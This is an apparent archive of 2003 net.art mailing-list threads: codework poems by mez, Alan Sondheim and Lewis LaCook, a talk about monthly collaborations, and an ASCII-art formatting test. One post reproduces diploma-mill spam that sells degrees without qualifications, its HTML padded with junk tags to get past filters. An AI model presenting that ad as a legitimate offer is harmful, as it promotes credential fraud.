                "content": "\n\n\n\nFrom: \"][mez][\" <netwurker {AT} h...>\nDate: Tue May 27, 2003  2:47 am\nSubject: Re: [screenburn] Re: monthly collab---   o  - ---         rations?\n\nAt 05:42 PM 26/05/2003 -0700, you wrote:\n>i mean...several line drawings segmented? one main line drawing? anyone \n>who wants to makes a line drawing?\n>\n\n\n\n\n-   ----                   -\n\n\n                                 \\\n[ x -        ----- ]                           \\\n                                     \\\n\n\n- ___ --------------------------------------|\n\n\n\n\n>or does joseph make a segmented line drawing, and then each of us can take \n>a piece of it and transform...putting it back together with several \n>possible combinations?\n>\n\n\n[x ---------]\n\n- -----------            -         ----- -      - \n---                              -                   ------------\n\n[\n\noooo\n- -o ----                 00000 000011 00oo]\n\n\n\n\n\n\n\n\nhttp://www.hotkey.net.au/~netwurker\n_\n_men[iscus_heart] plucking via broken bag.ga[u]ges_\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Tue May 27, 2003  6:17 am\nSubject: Re: [screenburn] monthly collaborations?\n\nSounds all right if you high bandwidth; I don't and would have to sit this\none out.  On the other hand, if the submission was to a website that\neveryone could access, then there would be little bandwidth problem; one\ncould modify anytime, and wouldn't have to deal necessarily with\ndownloading -\n\n& hello everyone - Alan\n\nOn Mon, 26 May 2003, Lewis LaCook wrote:\n\n> how does everyone feel about monthly collabs?\n>\n> >>>here's what i have in mind----PLEASE modify!\n>\n> each month, anyone who wants to should submit in some way up to three forms\nof media--text, images, audio, video, etc...\n>\n> each month, these are compiled into a collaborative zip file for downloading\n>\n> each month, anyone who wishes may download this file and work on a piece\n>\n> pieces can be linked or (to use rhizome's coinage) cloned somewhere on\nlewislacook.com (or netartcollective.com---i do believe renee and i own that\ndomain name...)\n>\n> i'm not sure how to handle scripts and such in this process, as we'll be\nworking in a variety of media, from flash and director to dhtml---this is\nsomething i could use some input on---\n>\n> how does this strike everyone?\n>\n> bliss\n> l\n>\n>\n>\n>\n> NEW!!!--sondheim.exe--artware text editor for Windows\n>\n> http://www.lewislacook.com/alanSondheim/sondheim.exe\n>\n> http://www.lewislacook.com/\n>\n> tubulence artist studio:  http://turbulence.org/studios/lacook/index.html\n>\n>\n>\n>\n>\n>\n>\n> ---------------------------------\n> Do you Yahoo!?\n> The New Yahoo! Search - Faster. Easier. Bingo.\n\nhttp://www.asondheim.org/ http://www.asondheim.org/portal/\nhttp://www.anu.edu.au/english/internet_txt\nTrace projects http://trace.ntu.ac.uk/writers/sondheim/index.htm\nfinger sondheim {AT} p...\n\n\n\nFrom: Alan Sondheim <sondheim {AT} p...>          \nDate: Tue May 27, 2003  6:58 am\nSubject: Re: monthly collaboration\n\n\n- ---- \\ [ x ----- ] ___\n\n--------------------------------------|\n\n>or\ndrawing, does and joseph then\n\nmake each a of segmented\n\nus line can take\n\n>a it piece\n\ntransform...putting together back\n\nseveral\n\n>\n[x ---------]\n\n----------- ---\n\n------------\n\noooo -o 00000 000011\n\n00oo]\n\n\n\n\nFrom: \"][mez][\" <netwurker {AT} h...>\nDate: Tue May 27, 2003  7:13 am\nSubject: daedalus line----------       - - -  --------     -- -\n\n\n\n\n\n- ---- \\ [ x ----- ] ___\n--------------------------------------|\n- ---\n\n--\n-\nor\n\n\n\n-  - ---- --  -     -- d\n  -     ------  -- -    r\n---         -      ----a\n                        wing[s of dead f.locks N fragile keys]\n\n\n\n\n\n.- -does + joseph beuys bucks.\n\n\n\n\n\n- ---   --------_______m\n  - ---            01010 -a\n- ----                 11 -k\n                             e[mailed] each a of segmented daedalus line\n\n\n- --peace trans.formas\n\n--\n[severed]\n\n[x ---------]\n\n----------- ---\n------------\noooo -o 00000 000011\n00oo]\n\n- - ------01\n\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} p...>\nDate: Tue May 27, 2003  7:48 am\nSubject: Re: [screenburn] daedalus line----------       - - -  --------     -- -\n\nmez+++\n\nl..in..in..e-..e-..--..--..--..--..--..--..--..--..- ..- ..  ..  ..  ..\n..  ..  ..- ..- ..- ..- ..- ..- .. -.. -..--..--..--..--..--..--..- ..- ..\n..  ..  ..  ..--..--.. -.. -\n\n..- ..- ..--..--..--..--.. \\.. \\.. [.. [.. x.. x.. -.. -..--..--..--..--..\n].. ].. _.. _..__..__\n..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..\n--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--\n..--|\n\n..- ..- ..--..---\n\n..--..--\n-\n..or..or\n\n..- ..- .. -.. -.. -.. -..--..--..- ..- ..--..--..  ..  ..- ..- ..  ..\n..  ..  ..--..--.. d.. d ..  ..  ..- ..- ..  ..  ..  ..\n..--..--..--..--..--..--..  ..  ..--..--.. -.. -..  ..  ..  ..  r\n..--..--..- ..- ..  ..  ..  ..  ..  ..  ..  ..  ..- ..- ..  ..  ..  ..\n.. -.. -..--..--..-a..-a ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..\n..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..\n..wi..wi..ng..ng..[s..[s.. o.. o..f ..f ..de..de..ad..ad.. f..\nf...l...l..oc..oc..ks..ks.. N.. N.. f.. f..ra..ra..gi..gi..le..le.. k..\nk..ey..ey..s]..s]\n\n...-...-.. -.. -..do..do..es..es.. +.. +.. j.. j..os..os..ep..ep..h ..h\n..be..be..uy..uy..s ..s ..bu..bu..ck..ck..s...s.\n\n..- ..- ..--..--..- ..- ..  ..\n..--..--..--..--..--..--..--..--..__..__..__..__..__..__.._m.._m ..  ..\n..- ..- ..--..--..- ..- ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  .. 0..\n0..10..10..10..10.. -.. -a ..- ..- ..--..--..--..--..  ..  ..  ..  ..  ..\n..  ..  ..  ..  ..  ..  ..  ..  ..  ..  .. 1.. 1..1 ..1 ..-k..-k ..  ..\n..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..\n..  ..  ..  ..  ..  ..  ..  ..  .. e.. e..[m..[m..ai..ai..le..le..d]..d]..\ne.. e..ac..ac..h ..h ..a ..a ..of..of.. s..\ns..eg..eg..me..me..nt..nt..ed..ed.. d.. d..ae..ae..da..da..lu..lu..s ..s\n..li..li..ne..ne\n\n..- ..- ..--..--..pe..pe..ac..ac..e ..e\n..tr..tr..an..an..s...s...fo..fo..rm..rm..as..as\n\n..--..--\n..[s..[s..ev..ev..er..er..ed..ed]\n\n..[x..[x.. -.. -..--..--..--..--..--..--..--..--]\n\n..--..--..--..--..--..--..--..--..--..--..- ..- ..--..---\n..--..--..--..--..--..--..--..--..--..--..--..-- ..oo..oo..oo..oo.. -..\n-..o ..o ..00..00..00..00..0 ..0 ..00..00..00..00..11..11\n..00..00..oo..oo]\n\n..- ..- ..- ..- ..--..--..--..--..--..--..01..01\n\n\n\n\n\n\n\nFrom: \"][mez][\" <netwurker {AT} h...>\nDate: Tue May 27, 2003  8:06\nSubject: Re: [screenburn] daedalus jack[+jill.fill]eted-line----------  - - -  --------     -- - \n\nAt 01:48 AM 27/05/2003 -0400, _collaborators dubble++gut_ wrote:\n\n\n>i.li[n[e..in..e.straits-+jack[+jill.fill]eted-..--..-breaks-..--..--..--..--..-\\\n-..--..- \n>..- ..  ..  ..  ..\n>..  ..  ..- ..- ..- ..- ..- ..- .. -.. -..--..--..--..--..--..--..- ..- ..\n>..  ..  ..  ..--..--.. -.. -\n>\n>..- ..- ..--..-|-..-|-..-|-.. |.. |.. [.. [.. x.o.x.. -.[]. \n>-..-[pre]-..-[luved]-..-[spce.mnts]-..--..\n>].. ].. _.. _.|.__.|.__\n>..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..\n>--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--\n>..--|\n>\n>..- ..- ..--..---\n>\n>..--..--\n>-\n>..or..awe\n>\n>..- ..- .. -.. -.. -.. -..--..--..- ..- ..--..--..  ..  ..- ..- ..  ..\n>..  ..  ..--..--.. d.. d ..  ..  ..- ..- ..  ..  ..  ..\n>..--..--..--..--..-a-..-a-..  ..  ..--..--.. -.. -..  ..  ..  ..  r\n>..--..--..- ..- ..  .d.  .d.  ..  ..  ..  ..  ..  ..- ..- ..  ..  ..  ..\n>.. -.. -..--..--..-a..-a ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..\n>..  ..  ..  ..  ..  .d.  .d.  ..  ..  ..  ..  ..\n>..whurr..whhrrr..ing..shing..le[s]..[s.. o].. [moaned]..[&]f ..f \n>..de..de..ad..ad.. f..\n>f...l...l..oc[cluded]..[hoc..ks..ks].. N.. N.. f.. \n>[fragonardesque]..ra..gi[gabyting]..gi..le..le.. k..\n>k..[leylines]..ey..s]..s]\n>\n>...-...-.. -.. -..do..do..es..es.. +.. +.. j.. j..os..os..ep..ep..h ..h\n>..be..be..uy..uy..s ..s ..bu..bu..ck..ck..s...s.\n>\n>..- ..- ..--..--..- ..- ..  ..\n>..--..--..--..--..--..--..--..--..__..__..__..__..__..__.._m.._m ..  ..\n>..- ..- ..--..--..- ..- ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  .. 0..\n>0..10[2 da powa of]..10[2 the juncture of]..10..10.. -.. -a ..- ..- \n>..--..--..--..--..  ..  ..  ..  ..  ..\n>..  ..  ..  ..  ..  ..  ..  ..  ..  ..  .. 1.. 1..1 ..1 .[in].-k..-k ..  ..\n>..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..  ..\n>..  ..  ..  ..  ..  ..  ..  ..  .. e.. e..[m..[m..ai..ai..le..le..d]..d]..\n>e.. e..ac..[ac..he  mixers]..h ..a ..a ..of..of.. s..\n>s..eg..eg..m[d]e..[me..nt]..nt..ed..ed.. d.. d..ae..ae..da..da..lu..lu..s ..s\n>..li..li..ne..ne\n>\n>..- ..- ..--..--..pe[rcepting]..pe..ac..ac..e ..e\n>..tr..tr..an..an..s...s...fo..fo..rm..rm..as..as\n>\n>..--..--\n>..[s..[s..ev[er]..[v]er[dant]..er..[r]ed..ed]\n>\n>..[x..[x.. -.. -..--..--..--..--..-\\-..-\\-..-\\-..-\\\\-]\n>\n>..--..--..--..--..--..--..--..--..--..--..- ..- ..--..---\n>..--..--..--..--..--..--..--..--..--..--..--..-- ..oo..oo..oo..oo.. -..\n>-..o ..o ..00..00..00..00..0 ..0 ..00..00..00..00..11..11\n>..00..00..oo..oo]\n>\n>..- ..- ..- ..- ..--..--..--..--..--..--..01..01..10\n>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\n_\n_men[iscus_heart] plucking via broken bag.ga[u]ges_\n\n\n\n\nFrom: Lewis LaCook <llacook {AT} y...>\nDate: Tue May 27, 2003  2:01 pm\nSubject: Re: [screenburn] daedalus jack[+jill.fill]eted-line----------        - - -  --------     -- - \n\n\"][mez][\" <netwurker {AT} h...> wrote:At 01:48 AM\n27/05/2003 -0400, _collaborators dubble++gut_ wrote:\n\n\n>i.li[n[e..in..e.straits-+jack[+jill.fill]eted-..--..-breaks-..--..--..--..--..-\\\n-..--..-\n\n>..- ..\n\n ..\n\n ..\n\n ..un[stab]le[sion] [.fla]vor[kunst]\nof\n>..\n\n ..\n\n ..- ..- ..- ..- ..- ..- .. -..\n-..--..--..--..--..--..--..- ..- ..\n>..\n\n ..\n\n ..\n\n ..--..--.. -.. -k=i=s=s\n>\n>..- ..- ..--..-|-..-|-..-|-.. |.. |.. [.. [.. x.o.x..\n-.[]. \n>-..-[pre]-..-[luved]-..-[spce.mnts]-..--..\n>].. ].. _.. _.|.__.|.__\n>..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..[f]al\\\nl[ing]\nthat is[is] the[me] ca[se\n>--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--..--\n>..--|\n>\n>..- ..- ..--..---\n>\n>..--..--\n>-\n>..or..awe\n>..ore..ahhhh!\n>..- ..- .. -.. -.. -.. -..--..--..- ..- ..--..--..\n\n\n..\n\n ..- ..- ..\n\n ..\n>..\n\n ..\n\n ..--..--.. d.. d ..\n\n ..\n\nm ..- ..- ..\n\n ..\n\n ..\n\n\n..\n>..--..--..--..--..-a-..-a-..\n\n ..\n\nu ..--..--.. -..\n-..\n\n ..\n\n ..\n\n ..\n\n r\n>..--..--..- ..- ..\n\n .d.\n\n .d.\n\n ..\n\n m..\n\n ..\n\n ..\n\n ..\n\n\n..- ..- ..\n\n ..\n\n ..\n\n ..\n>.. -.. -..--..--..-a..-           murmur a ..\n\n ..\n\n\n..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n>..\n\n ..\n\n ..\n\n ..\n\n ..\n\n .d.\n\n .d.\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n>..whurr..whhrrr..ing..shing..le[s]..[s.. o]..\n[moaned]..[&]f ..f [rocked]\n>..de..de..ad..ad.. f..    [from out]\n>f...l...l..oc[cluded]..[hoc..ks..ks].. N.. N.. f.. \n>[fragonardesque](boucher)(mouthy)..ra..gi[gabyting]..gi..le..le..\nk..\n>k..[leylines]..ey..s]..s]\n>[de-sky]\n[not-sky]\n[unsky]\n>...-...-.. -.. -..do.<while>.do..es..es{sence).. +..\n+.. j.. j..os..os..ep..ep..h ..h\n>..be..be..uy..uy..s ..s ..bu..bu..ck..ck..s...s.\na.a.a.a.a.a.\nn.n.n.n.n.n.\nd.d.d.d.d.d.\ny.y.y.y.y.y.\n\nbasq[party]uiat\n>\n>..- ..- ..--..--..- ..- ..\n\n ..\n>..--..--..--..--..--..--..--..--..__..__..__..__..__..__.._m.._m\n..\n\n ..\n>..- ..- ..--..--..- ..- ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n\n..\n\n ..\n\n ..\n\n .. 0..\n>0..10[2 da powa of]..10[2 the juncture of]..10..10..\n-.. -a ..- ..- \n>..--..--..--..--..\n\ncrooked hinge ..\n\n ..\n\n ..\n\n ..\n\n ..\n>..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n .. 1.. 1..1\n..1 .[in].-k..-k ..\n\n ..\n>..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n\n..\n\n ..\n\n ..machine blood\n\n ..\n\n ..\n>..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n ..\n\n .. e..\ne..[m..[m..ai..ai..le..le..d]..d]..\n>e.. e..ac..[ac..he\n\n mixers]..h ..a ..a ..of..of.. s..\n>s..eg..eg..m[d]e..[me..nt]..nt..ed..ed.. d..\nd..ae..ae..da..da..lu..lu..s ..s\n>..li..li..ne..ne\n>\n>..- ..- ..--..--..pe[rcepting]..pe..ac..ac..e ..e\n>..tr..tr..an..an..s...s...fo..fo..rm..rm..as..as\n>\n>..--..--\n>..[s..[s..ev[er]..[v]er[dant]..er..[r]ed..ed]\n>\n>..[x..[x.. -..\n-..--..--..--..--..-\\-..-\\-..-\\-..-\\\\-]\n>\n>..--..--..--..--..--..--..--..--..--..--..- ..-\n..--..---slipping out\n>..--..--..--..--..--..--slipping\nout..--..--..--..--..--..-- slipping\nout..oo..oo..oo..oo.. -..\n>-..o ..o ..00..00..00..00..0 ..0\n..00..00..00..00..11..11\n>..00..00..oo..oo]\n>\n>..- ..- ..- ..- ..--..--..-to\nsea-..--..--..--..01..01..10\n>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\n_\n_men[iscus_heart] plucking via broken bag.ga[u]ges_\n\n\nYahoo! Groups Sponsor\nTo unsubscribe from this group, send an email to:\nscreenburn-unsubscribe {AT} yahoogroups.com\n\n\n\nYour use of Yahoo! Groups is subject to the Yahoo!\nTerms of Service. \n\n\n\n=====\n\n\nNEW!!!--sondheim.exe--artware text editor for Windows\n\nhttp://www.lewislacook.com/alanSondheim/sondheim.exe\n\nhttp://www.lewislacook.com/ \n\ntubulence artist studio:  http://turbulence.org/studios/lacook/index.html \n\n \n\n\n\n\n\n__________________________________\nDo you Yahoo!?\nThe New Yahoo! Search - Faster. Easier. Bingo.\nhttp://search.yahoo.com\n\n\n\nFrom: Alan Sondheim <sondheim {AT} p...>\nDate: Tue May 27, 2003  7:49 pm\nSubject: Re: [screenburn] daedalus jack[+jill.fill]eted-line----------      - - -  --------     -- -\n\n\n\n\nA.M. .0.1.:.4.8. .w.r.o.t.e.:.A.t.\n.<.n.e.t.w.u.r.k.e.r. {AT} ....>. .\".].[.m.e.z.].[.\". .\nw.r.o.t.e.:. .d.u.b.b.l.e.+.+.g.u.t._. ._.c.o.l.l.a.b.o.r.a.t.o.r.s.\n.-.0.4.0.0.,. .2.7./.0.5./.2.0.0.3. .\n\n\n>.i.l.i.[.n.[.e.i.n.e.s.t.r.a.i.t.s.-.+.j.a.c.k.[.+.j.i.l.l.f.i.l.l.].e.t.e.d.-.\\\n-.-.-.b.r.e.a.k.s.-.-.-.-.-.-.-.-.-.-.-.-.-.-. .\n\n[.f.l.a.].v.o.r.[.k.u.n.s.t.]. .u.n.[.s.t.a.b.].l.e.[.s.i.o.n.]. .\n\n. .\n\n. .\n\n.\n.>.-. .\no.f. .\n-. . .-. .-. .-. .-. .-. .-. .\n\n. .>.\n\n. .\n .-. .-.-.-.-.-.-.-.-.-.-.-.-.-.-. .\n-.k.=.i.=.s.=.s. .-. .-.-.-.-. .\n\n. .\n\n. .>.\n\n. .\n>. .\nx.o.x. .[. .[. .|. .|. .-.-.-.|.-.-.|.-.-.|.-. .-. .>.-. .\n-.[.]. .\n>.-.-.[.p.r.e.].-.-.[.l.u.v.e.d.].-.-.[.s.p.c.e.m.n.t.s.].-.-.-. .\n_.|._._.|._._. ._. .]. .>.]. .\n>.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.[.f.].\\\na.l.l.[.i.n.g.]. .\nc.a.[.s.e. .t.h.e.[.m.e.]. .i.s.[.i.s.]. .t.h.a.t. .\n>.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. .\n>.-.-.|. .\n>. .\n-.-.-.-.-. .-. .>.-. .\n>. .\n>.-.-.-.-. .\n>.-. .\n>.o.r.a.w.e. .\n>.o.r.e.a.h.h.h.h.!. .\n-.-.-.-.\n\n. .-. .-.-.-.-.-.-. .-. .-. .-. . .-. .>.-. .\n .\n\n. .-. .-. .\n\n. .\n\n\n. .\n\n. .\n\n. .-. .-. .\n\n.m. .\n\n. .d. .d. .-.-.-.-. .\n\n. .>.\n\n. .\n .\n-. .-.-.-.-. .\n\n.u. .>.-.-.-.-.-.-.-.-.-.a.-.-.a.-.\n\n. .\nr. .\n\n. .\n\n. .\n\n. .-.\n\n. .\n\n\n. .\n\n. .\n\n. .m.\n\n. .\n\n. .d.\n\n. .d.\n\n. .\n\n. .-. .>.-.-.-.-.-. .\n .\n\n. .\n\n. .\n\n. .-. .-. .\n\n\n. .\n\n. .a. .m.u.r.m.u.r. .-.-.-.-.-.-.a.-. .-. .>. .\n .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n .\n\n. .\n\n. .\n\n. .\n\n. .d.\n\n. .d.\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .>.\n\n. .\no.]. .>.w.h.u.r.r.w.h.h.r.r.r.i.n.g.s.h.i.n.g.l.e.[.s.].[.s. .\n[.r.o.c.k.e.d.]. .f. .[.m.o.a.n.e.d.].[.&.].f. .\no.u.t.]. .[.f.r.o.m. .f. .>.d.e.d.e.a.d.a.d. .\nf. .N. .N. .>.f.l.l.o.c.[.c.l.u.d.e.d.].[.h.o.c.k.s.k.s.]. .\n>.[.f.r.a.g.o.n.a.r.d.e.s.q.u.e.].(.b.o.u.c.h.e.r.).(.m.o.u.t.h.y.).r.a.g.i.[.g.\\\na.b.y.t.i.n.g.].g.i.l.e.l.e. .\nk. .\n>.k.[.l.e.y.l.i.n.e.s.].e.y.s.].s.]. .\n>.[.d.e.-.s.k.y.]. .\n[.n.o.t.-.s.k.y.]. .\n[.u.n.s.k.y.]. .\n+. .-.d.o.<.w.h.i.l.e.>.d.o.e.s.e.s.{.s.e.n.c.e.). .-. .>.-.-. .\nh. .j.o.s.o.s.e.p.e.p.h. .j. .+. .\nb.u.b.u.c.k.c.k.s.s. .s. .>.b.e.b.e.u.y.u.y.s. .\na.a.a.a.a.a. .\nn.n.n.n.n.n. .\nd.d.d.d.d.d. .\ny.y.y.y.y.y. .\n\nb.a.s.q.[.p.a.r.t.y.].u.i.a.t. .\n>. .\n .\n\n. .-. .-.-.-.-.-. .-. .>.-. .\n>.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-._._._._._._._._._._._._._.m._.m. .\n .\n\n. .\n\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .-. .-.-.-.-.-. .-. .>.-. .\n0. . .\n\n. .\n\n. .\n\n. .\no.f.].1.0.1.0. .j.u.n.c.t.u.r.e. .t.h.e. .o.f.].1.0.[.2. .p.o.w.a. .d.a.\n.>.0.1.0.[.2. .\n-. .-. .-.a. .-. .\n .\n\n. .\n\n. .\n\n. .\n\n. .h.i.n.g.e. .>.-.-.-.-.-.-.-.-.\n\n.c.r.o.o.k.e.d. .\n1.1. .1. . .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .>.\n\n. .\n .\n\n. .[.i.n.].-.k.-.k. .1. .\n\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .>.\n\n. .\n .\n\n. .b.l.o.o.d.\n\n. .m.a.c.h.i.n.e. .\n\n. .\n\n. .\ne. . .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .\n\n. .>.\n\n. .\ne.[.m.[.m.a.i.a.i.l.e.l.e.d.].d.]. .\ns. .o.f.o.f. .a. .a. .m.i.x.e.r.s.].h. .e.a.c.[.a.c.h.e.\n\n. .>.e. .\nd. .>.s.e.g.e.g.m.[.d.].e.[.m.e.n.t.].n.t.e.d.e.d. .\ns. .d.a.e.a.e.d.a.d.a.l.u.l.u.s. .\n>.l.i.l.i.n.e.n.e. .\n>. .\ne. .-.-.-.-.p.e.[.r.c.e.p.t.i.n.g.].p.e.a.c.a.c.e. .-. .>.-. .\n>.t.r.t.r.a.n.a.n.s.s.f.o.f.o.r.m.r.m.a.s.a.s. .\n>. .\n>.-.-.-.-. .\n>.[.s.[.s.e.v.[.e.r.].[.v.].e.r.[.d.a.n.t.].e.r.[.r.].e.d.e.d.]. .\n>. .\n-. .>.[.x.[.x. .\n-.-.-.-.-.-.-.-.-.-.\\.-.-.\\.-.-.\\.-.-.\\.\\.-.]. .\n>. .\n-. .>.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. .\no.u.t. .-.-.-.-.-.s.l.i.p.p.i.n.g. .\n>.-.-.-.-.-.-.-.-.-.-.-.-.s.l.i.p.p.i.n.g. .\ns.l.i.p.p.i.n.g. .o.u.t.-.-.-.-.-.-.-.-.-.-.-.-. .\n-. .o.u.t.o.o.o.o.o.o.o.o. .\n0. .0.0.0.0.0.0.0.0.0. .o. .>.-.o. .\n0.0.0.0.0.0.0.0.1.1.1.1. .\n>.0.0.0.0.o.o.o.o.]. .\n>. .\n-.-.-.-.-.t.o. .-. .-. .-. .>.-. .\ns.e.a.-.-.-.-.-.-.-.0.1.0.1.1.0. .\n>. .\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\np.r.o.].[.r.a.t.i.n.g.].[.l.u.c.i.d.t.x.t. .-. .\n-. .\n-. .\n\nh.t.t.p.:././.w.w.w.h.o.t.k.e.y.n.e.t.a.u./.~.n.e.t.w.u.r.k.e.r. .\n_. .\nb.a.g.g.a.[.u.].g.e.s._. .b.r.o.k.e.n. .v.i.a. .p.l.u.c.k.i.n.g.\n._.m.e.n.[.i.s.c.u.s._.h.e.a.r.t.]. .\n\n\n\n\n\nDate:         Wed, 28 May 2003 16:09:21 +0300\nFrom: \"J. Lehmus\" <exp {AT} SURFEU.FI>\nSubject: Are you having trouble\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nBAUrIeT YYouX RHavPiNngI\nTWrouNbKlLe QFiQndXiPng BWoFrGkV?O/B\nSCaCll B1R-415K-G3Z58I-V5U5Q50F/B LtVoS sJeeT hTow\nXoKuJrW dOeEgWrDee JcanS KheUlHpX lOauEnch UyNoTur\ncarReeBr.C\nYBRBRBDoSn'Qt ElYetF minGiOmuZm MqDuPaGlSiRficatZionCs\nholdD RyouI bPacBk.S/BBR\nM\n\nAre <!Y>You Having\nTrouble Finding <!B>Work?\n<FONT SIZE=3 FACE=Arial COLOR=BLACK>\nCall 1-415-358-5550 to see how\nour de<!E>gr<!D>ee can hel<!H>p lau<!E>nch your\ncaree<!B>r.\n<!Y>Don't <!E>l<!Y>et minimum <!M>q<!D>ualifications\nhold<!D> you bac<!B>k.\n<!M>\n<!M>W<!H>h<!H>ether you<!Y>'re looking to earn\nyour ba<!B>chelors, masters, Ph.D.,\nor MBA,\n\nWe've got <!E>th<!D>e diploma <!H>in th<!E>e\nfield of you<!B>r ch<!Y>oice.\n<!E>\n<!Y>Call now 1-<!M>4<!D>15-358-5550 and se<!D>e how\nwe<!B> ca<!M>n<!M> <!H>h<!H>elp you g<!Y>et the job\nyou've always wa<!B>nted.\n<FONT SIZE=1 COLOR=BLACK>To stop future mail <A\n\nAre You Having\nTrouble Finding Work?\n\nCall 1-415-358-5550 to see how\nour degree can help launch your\ncareer.\nDon't let minimum qualifications\nhold you back.\n\nWhether you're looking to earn\nyour bachelors, masters, Ph.D.,\nor MBA,\n\nWe've got the diploma in the\nfield of your choice.\n\nCall now 1-415-358-5550 and see how\nwe can help you get the job\nyou've always wanted.\n\nAr<!E> Y<!O>u H<!A>v<!I>ng\nTr<!O>ubl<!E> F<!I>nd<!I>ng W<!O>rk?\n\nC<!A>ll 1-415-358-5550 t<!O> s<!E><!E> h<!O>w\n<!O>ur d<!E>gr<!E><!E> c<!A>n h<!E>lp l<!A>unch y<!O>ur\nc<!A>r<!E><!E>r.\nD<!O>n't l<!E>t m<!I>n<!I>mum qu<!A>l<!I>f<!I>c<!A>t<!I><!O>ns\nh<!O>ld y<!O>u b<!A>ck.\n\nWh<!E>th<!E>r y<!O>u'r<!E> l<!O><!O>k<!I>ng t<!O> <!E><!A>rn\ny<!O>ur b<!A>ch<!E>l<!O>rs, m<!A>st<!E>rs, Ph.D.,\n<!O>r MBA,\n\nW<!E>'v<!E> g<!O>t th<!E> d<!I>pl<!O>m<!A> <!I>n th<!E>\nf<!I><!E>ld <!O>f y<!O>ur ch<!O><!I>c<!E>.\n\nC<!A>ll n<!O>w 1-415-358-5550 <!A>nd s<!E><!E> h<!O>w\nw<!E> c<!A>n h<!E>lp y<!O>u g<!E>t th<!E> j<!O>b\ny<!O>u'v<!E> <!A>lw<!A>ys w<!A>nt<!E>d.\n\n\n\nDate: Mon, 26 May 2003 15:30:39 +0200\nTo: 7-11 {AT} mail.ljudmila.org\nFrom: Johan Meskens CS2 jmcs2 <\"johanmeskenscs2 {AT} chromaticspaceandworld.com\" {AT} mail.chromaticspaceandworld.com>\nSubject: formatting test\n\n\n______________________________________________________________________________________________________________________________________________________\n123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890\n          1         2         3         4         5         6 \n7         8         9        10        11        12        13 \n14\n\n\n\n\n\n\n.\n\n\n\n\n\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today\u00f7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today\u00f7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today\u00f7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # 